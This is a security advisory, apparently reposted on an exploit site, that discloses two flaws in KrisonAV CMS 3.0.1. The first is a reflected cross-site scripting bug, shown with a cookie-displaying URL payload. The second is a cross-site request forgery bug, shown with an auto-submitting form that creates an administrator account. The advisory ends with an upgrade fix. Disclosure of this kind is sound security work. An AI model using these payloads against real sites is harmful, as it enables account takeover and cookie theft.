KrisonAV CMS 3.0.1 - Multiple Vulnerabilities

Advisory Details:
 
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.
 
 
1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712
 
The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a logged-in user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.
 
The exploitation example below uses JavaScript "alert()" function to display user's cookies:
 
http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
 
 
2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713
 
The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.
 
PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":
 
 
<form action="http://[host]/users_maint.html?itemid=52&maint=1&ccsForm=users" method="post" name="f1">
<input type="hidden" name="disabledCheckBox" value="1">
<input type="hidden" name="username" value="username">
<input type="hidden" name="password" value="password">
<input type="hidden" name="groups_index" value="20">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="Button_Insert" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>
 
 
-----------------------------------------------------------------------------------------------
 
Solution:
 
Upgrade to KrisonAV CMS 3.0.2
 
More Information:
http://www.krisonav.com/articles_show.html?articles_id=release-notes

#  0day.today [2018-04-12]  #